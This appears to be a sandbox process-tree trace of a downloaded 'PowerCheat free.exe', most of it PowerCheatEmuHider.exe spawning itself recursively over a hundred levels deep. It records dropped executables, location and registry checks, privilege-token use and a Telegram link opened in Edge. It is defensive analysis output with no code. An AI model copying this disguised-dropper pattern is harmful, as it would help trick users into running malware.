    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.14.1603718289\1115361721" -childID 13 -isForBrowser -prefsHandle 9832 -prefMapHandle 9828 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3aa625e2-1e0a-4096-ac04-d59e91c03522} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 9792 28af653df58 tab
    3⤵
    PID:5792

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5148

C:\Users\Admin\Downloads\PowerCheat free.exe
"C:\Users\Admin\Downloads\PowerCheat free.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:5860
- C:\Users\Admin\AppData\Local\Temp\PowerCheat_free.exe
  "C:\Users\Admin\AppData\Local\Temp\PowerCheat_free.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5896
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/powergirlso2
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0x120,0x124,0xfc,0x128,0x7ffb46e046f8,0x7ffb46e04708,0x7ffb46e04718
      4⤵
      PID:5248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2
      4⤵
      PID:1932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2608 /prefetch:8
      4⤵
      PID:5588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3436 /prefetch:1
      4⤵
      PID:6220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3452 /prefetch:1
      4⤵
      PID:6232
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4988 /prefetch:1
      4⤵
      PID:6784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5080 /prefetch:8
      4⤵
      PID:5960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5080 /prefetch:8
      4⤵
      PID:6392
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:1
      4⤵
      PID:4360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5384 /prefetch:1
      4⤵
      PID:4172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4928 /prefetch:1
      4⤵
      PID:5904
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,8626161929999143323,18119786401915081530,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5812 /prefetch:1
      4⤵
      PID:6284
- C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
  "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:6024
- - C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
    "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3636
  - - C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
      "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:3144
    - - C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:5824
      - C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1232
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:6156
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        8⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:6700
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        9⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:6980
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        10⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:544
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        11⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:5856
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        12⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:6656
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        13⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        14⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:6872
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        15⤵
        
        PID:6384
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        16⤵
        
        PID:3940
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        17⤵
        
        PID:4252
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        18⤵
        
        PID:6856
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        19⤵
        
        PID:6888
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        20⤵
        
        PID:6796
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        21⤵
        
        PID:6984
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        22⤵
        
        PID:3404
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        23⤵
        
        PID:1008
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        24⤵
        
        PID:5200
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        25⤵
        
        PID:6656
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        26⤵
        
        PID:3872
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        27⤵
        
        PID:7164
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        28⤵
        
        PID:6736
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        29⤵
        
        PID:1916
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        30⤵
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        31⤵
        
        PID:3620
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        32⤵
        
        PID:6720
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        33⤵
        
        PID:968
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        34⤵
        
        PID:6984
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        35⤵
        
        PID:5916
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        36⤵
        
        PID:6492
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        37⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        38⤵
        
        PID:404
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        39⤵
        
        PID:7156
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        40⤵
        
        PID:4184
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        41⤵
        
        PID:2228
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        42⤵
        
        PID:6692
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        43⤵
        
        PID:1996
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        44⤵
        
        PID:5956
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        45⤵
        
        PID:720
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        46⤵
        
        PID:7084
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        47⤵
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        48⤵
        
        PID:5916
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        49⤵
        
        PID:6588
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        50⤵
        
        PID:6720
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        51⤵
        
        PID:1008
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        52⤵
        
        PID:6736
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        53⤵
        
        PID:6932
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        54⤵
        
        PID:1756
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        55⤵
        
        PID:900
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        56⤵
        
        PID:968
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        57⤵
        
        PID:4056
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        58⤵
        
        PID:7116
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        59⤵
        
        PID:404
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        60⤵
        
        PID:720
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        61⤵
        
        PID:5952
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        62⤵
        
        PID:5112
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        63⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        64⤵
        
        PID:6844
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        65⤵
        
        PID:4876
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        66⤵
        
        PID:2228
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        67⤵
        
        PID:1256
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        68⤵
        
        PID:6800
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        69⤵
        
        PID:6980
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        70⤵
        
        PID:4352
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        71⤵
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        72⤵
        
        PID:2228
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        73⤵
        
        PID:5552
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        74⤵
        
        PID:5824
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        75⤵
        
        PID:6592
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        76⤵
        
        PID:5568
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        77⤵
        
        PID:6856
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        78⤵
        
        PID:5256
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        79⤵
        
        PID:5956
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        80⤵
        
        PID:6204
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        81⤵
        
        PID:2024
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        82⤵
        
        PID:2400
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        83⤵
        
        PID:6676
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        84⤵
        
        PID:5252
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        85⤵
        
        PID:1256
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        86⤵
        
        PID:4688
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        87⤵
        
        PID:6420
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        88⤵
        
        PID:4996
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        89⤵
        
        PID:7084
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        90⤵
        
        PID:5108
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        91⤵
        
        PID:2228
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        92⤵
        
        PID:2912
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        93⤵
        
        PID:6676
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        94⤵
        
        PID:3864
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        95⤵
        
        PID:512
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        96⤵
        
        PID:6564
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        97⤵
        
        PID:372
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        98⤵
        
        PID:4912
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        99⤵
        
        PID:6824
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        100⤵
        
        PID:6680
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        101⤵
        
        PID:6488
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        102⤵
        
        PID:7116
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        103⤵
        
        PID:2024
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        104⤵
        
        PID:6564
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        105⤵
        
        PID:4868
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        106⤵
        
        PID:7136
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        107⤵
        
        PID:6692
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        108⤵
        
        PID:3500
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        109⤵
        
        PID:6488
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        110⤵
        
        PID:3900
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        111⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        112⤵
        
        PID:6452
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        113⤵
        
        PID:6500
        
